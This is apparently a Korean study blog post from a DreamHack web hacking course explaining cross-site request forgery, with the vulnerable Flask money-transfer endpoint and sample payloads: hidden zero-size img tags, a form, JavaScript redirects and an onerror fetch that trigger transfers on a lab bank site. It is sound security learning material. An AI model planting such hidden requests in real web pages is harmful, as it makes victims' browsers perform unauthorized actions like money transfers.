CIDY
[Web_Hacking] stage5_CSRF 본문
*CSRF(교차 사이트 요청 위조, Cross Site Request Forgery)
임의 이용자의 권한으로 임의 주소에 HTTP요청을 보낼 수 있는 취약점이다.
CSRF공격이 성공하려면 이용자가 악성 스크립트(HTTP요청을 보내는 코드)를 실행해야 함 -> 이용자에게 메일을 보내거나, 게시판에 글을 작성해 이용자에게 조회를 유도하는 방법이 있다.
CSRF공격 스크립트는 HTML이나 JS로 작성할 수 있다.
HTML을 이용할 경우 img나 form태그를 이용할 수 있다. (img는 이미지를 불러오는 태그, form은 웹 페이지에 입력된 양식을 전송하는 태그)
이 태그로 HTTP요청을 보내면 쿠키(HTTP 헤더)에 이용자의 인증 정보가 포함된다.
<img src='http://bank.dreamhack.io/sendmoney?to=dreamhack&amount=1337' width=0px height=0px>
<form action="https://test.dreamhack.io/users/1" method="post">
<input name="user">
<input name="pass">
<input type="submit">
</form>
img태그는 이미지 크기를 줄일 수 있는 옵션을 제공하기 때문에 이용자에게 들키지 않고 임의 페이지에 요청을 보내는 것이 가능해진다.
/* 새 창 띄우기 */
window.open('http://bank.dreamhack.io/sendmoney?to=dreamhack&amount=1337');
/* 현재 창 주소 옮기기 */
location.href = 'http://bank.dreamhack.io/sendmoney?to=dreamhack&amount=1337';
location.replace('http://bank.dreamhack.io/sendmoney?to=dreamhack&amount=1337');
이건 JS 공격 코드 예시이다.
+
<img src='http://bank.dreamhack.io/sendmoney?to=dreamhack&amount=10000000' width=0px height=0px>
<img src="/sendmoney?to=dreamhack&amount=10000000">
<img src=1 onerror="fetch('/sendmoney?to=dreamhack&amount=10000000');">
<link rel="stylesheet" href="/sendmoney?to=dreamhack&amount=10000000">
# 이용자가 /sendmoney에 접속했을때 아래와 같은 송금 기능을 웹 서비스가 실행함.
@app.route('/sendmoney')
def sendmoney(name):
# 송금을 받는 사람과 금액을 입력받음.
to_user = request.args.get('to')
amount = int(request.args.get('amount'))
# 송금 기능 실행 후, 결과 반환
success_status = send_money(to_user, amount)
# 송금이 성공했을 때,
if success_status:
# 성공 메시지 출력
return "Send success."
# 송금이 실패했을 때,
else:
# 실패 메시지 출력
return "Send fail."
코드는 이거였는데, /sendmoney 엔드포인트로 가서 인자로 to에 dreamhack(나), amount에 큰 금액 입력해주면 된다. (&로 연결 가능)
+
XSS의 경우 인증정보(세션/쿠키)탈취가 목적이고, 공격할 사이트의 오리진에서 스크립트를 실행시켜야 하는 반면, CSRF의 경우 임의 페이지에서 HTTP요청을 보내도록 하는 것이 목적이다.
'Hack > DreamHack(로드맵)' 카테고리의 다른 글
[Web_Hacking] stage5_문제풀이(csrf-1) (0) | 2022.07.28 |
---|---|
[Web_Hacking] stage5_문제풀이(csrf-2) (0) | 2022.07.28 |
[Web_Hacking] stage4_문제풀이(xss-2) (0) | 2022.07.28 |
[Web_Hacking] stage4_문제풀이(xss-1) (0) | 2022.07.28 |
[Web_Hacking] stage4_Cross-Site-Scripting(XSS) (0) | 2022.07.27 |